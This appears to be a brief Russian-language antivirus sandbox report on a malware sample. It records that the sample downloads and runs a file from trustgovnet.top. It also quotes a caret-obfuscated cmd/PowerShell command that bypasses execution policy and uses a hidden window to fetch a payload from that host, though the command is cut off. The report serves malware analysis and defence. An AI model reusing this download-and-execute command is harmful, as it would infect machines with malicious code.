Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POw^ErSHE^l^l^.^EXe^ -^Ex^e^CuTiOn^p^o^lIcy ^BY^Pa^Ss -nOPROFilE -^wI^N^DoW^St^Yl^e ^HIdd^EN (^nEW-^OBje^C^T S^YSte^m.^net.^WE^b^CLiEn^T^)^.do^WNloa^DF^Ile(^'http://trustgovnet....
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POw^ErSHE^l^l^.^EXe^ -^Ex^e^CuTiOn^p^o^lIcy ^BY^Pa^Ss -nOPROFilE -^wI^N^DoW^St^Yl^e ^HIdd^EN (^nEW-^OBje^C^T S^YSte^m.^net.^WE^b^CLiEn^T^)^.do^WNloa^DF^Ile(^'http://trustgovnet....' (со скрытым окном)
